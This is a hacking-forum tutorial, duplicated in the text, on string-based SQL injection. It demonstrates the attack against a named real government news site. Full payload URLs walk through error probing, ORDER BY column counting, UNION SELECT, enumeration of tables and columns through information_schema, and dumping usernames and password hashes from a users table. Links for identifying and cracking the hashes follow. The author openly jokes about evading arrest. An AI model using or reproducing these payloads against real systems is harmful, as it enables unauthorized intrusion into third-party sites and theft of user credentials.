Hello guys I am making this tutorial for all those who want to have at Look at String based SQL Injection ✌
Its better to have a good look at SQL tuts done by our HF members
before reading this.
Links:hackforums.net/showthread.php?tid=1923250
hackforums.net/showthread.php?tid=1814660
[NOTE]The site used here is a gov.Better to HIde you ass before you get BUsted😭[NOTE]
LOL lets Rock 😊
Lets take this Site
![[Image: foHZV.png]](https://i.imgur.com/foHZV.png)
WE add a quote to see if its inject-able
Voila! We got our error
![[Image: e8Xfv.png]](https://i.imgur.com/e8Xfv.png)
Now moving on to order based queries
We try order by x--
---->Error
-->Error
Doomed No? We Have a Solution
This is where the String based injection comes into play
Instead of the typical order by 1-- in error based injections we Use
order by 1--+- or order by 1--+
and change the id parameter to: id=x' order by x--+-
[note]THis is a Very importaant As string based Injections are considered Dont forget this 😠[note]
So moving on>Lets inject with order by
-->No Error Loads fine
-->No error Loads fine
And So on till we get an error
-->Error
So the number of Columns must be 8..
Moving on
[note]The union statements used are the same here and has change only in the injection parameter[note]
eg: id=-x' union select x--+-
using the ' after x preferentially changes depending upon the error
So continuing
![[Image: 6TPB7.png]](https://i.imgur.com/6TPB7.png)
You get the vulnerable column.Its 3
Looking for the version
[note]You could also get the hostname(),user(),database() by using group_concat(required field)[note]
![[Image: zOVgm.png]](https://i.imgur.com/zOVgm.png)
Getting the tables out
![[Image: ILZQI.png]](https://i.imgur.com/ILZQI.png)
There are a hell Lot of Tables take the on of your interest
As a matter of interest we take the table Users out
![[Image: 8UAK0.png]](https://i.imgur.com/8UAK0.png)
You could easily hex your queries by using this website
http://www.swingnote.com/tools/texttohex.php
Now extracting the data out of the columns
You could convert the hashed password.
Its a SHA-512 hash which i thing is quite difficult to crack .
Hash Identifier:
http://www.mediafire.com/?rfedip2eqe456z6
Sites for hash searches :
http://www.md5decrypter.co.uk/
Those Who liked my Tutorial
Plse do leave a Thanks message and a +ve rep 🤗
Feel free to PM me regaring any clarification
Srry for the wrong website.It is error based but could be used as string also .
--
Shots to Downfall,Dan,Haxor
Its better to have a good look at SQL tuts done by our HF members
before reading this.
Links:hackforums.net/showthread.php?tid=1923250
hackforums.net/showthread.php?tid=1814660
[NOTE]The site used here is a gov.Better to HIde you ass before you get BUsted😭[NOTE]
LOL lets Rock 😊
Lets take this Site
Code
http://www.bhutan.gov.bt/government/newsDetail.php?id=208![[Image: foHZV.png]](https://i.imgur.com/foHZV.png)
WE add a quote to see if its inject-able
Code
http://www.bhutan.gov.bt/government/newsDetail.php?id=208'Voila! We got our error
![[Image: e8Xfv.png]](https://i.imgur.com/e8Xfv.png)
Now moving on to order based queries
We try order by x--
Code
http://www.bhutan.gov.bt/government/newsDetail.php?id=208 order by 1--Code
http://www.bhutan.gov.bt/government/newsDetail.php?id=208 order by 100--Doomed No? We Have a Solution
This is where the String based injection comes into play
Instead of the typical order by 1-- in error based injections we Use
order by 1--+- or order by 1--+
and change the id parameter to: id=x' order by x--+-
[note]THis is a Very importaant As string based Injections are considered Dont forget this 😠[note]
So moving on>Lets inject with order by
Code
http://www.bhutan.gov.bt/government/newsDetail.php?id=208 order by 1--+-Code
http://www.bhutan.gov.bt/government/newsDetail.php?id=208 order by 2--+-And So on till we get an error
Code
http://www.bhutan.gov.bt/government/newsDetail.php?id=208' order by 9--+-So the number of Columns must be 8..
Moving on
[note]The union statements used are the same here and has change only in the injection parameter[note]
eg: id=-x' union select x--+-
using the ' after x preferentially changes depending upon the error
So continuing
Code
http://www.bhutan.gov.bt/government/newsDetail.php?id=-208 union select 1,2,3,4,5,6,7,8--+-![[Image: 6TPB7.png]](https://i.imgur.com/6TPB7.png)
You get the vulnerable column.Its 3
Looking for the version
[note]You could also get the hostname(),user(),database() by using group_concat(required field)[note]
Code
http://www.bhutan.gov.bt/government/newsDetail.php?id=-208 union select 1,2,version(),4,5,6,7,8--+-![[Image: zOVgm.png]](https://i.imgur.com/zOVgm.png)
Getting the tables out
Code
http://www.bhutan.gov.bt/government/newsDetail.php?id=-208 union select 1,2,group_concat(table_name),4,5,6,7,8 from information_schema.tables where table_schema=database()--+-![[Image: ILZQI.png]](https://i.imgur.com/ILZQI.png)
There are a hell Lot of Tables take the on of your interest
As a matter of interest we take the table Users out
Code
http://www.bhutan.gov.bt/government/newsDetail.php?id=-208 union select 1,2,group_concat(column_name),4,5,6,7,8 from information_schema.columns where table_name=0x7573657273--+-![[Image: 8UAK0.png]](https://i.imgur.com/8UAK0.png)
You could easily hex your queries by using this website
http://www.swingnote.com/tools/texttohex.php
Now extracting the data out of the columns
Code
http://www.bhutan.gov.bt/government/newsDetail.php?id=-208 union select 1,2,group_concat(0x0a,USERNAME,0x3a,PASSW),4,5,6,7,8 from users--+-You could convert the hashed password.
Its a SHA-512 hash which i thing is quite difficult to crack .
Hash Identifier:
http://www.mediafire.com/?rfedip2eqe456z6
Sites for hash searches :
http://www.md5decrypter.co.uk/
Those Who liked my Tutorial
Plse do leave a Thanks message and a +ve rep 🤗
Feel free to PM me regaring any clarification
Srry for the wrong website.It is error based but could be used as string also .
--
Shots to Downfall,Dan,Haxor

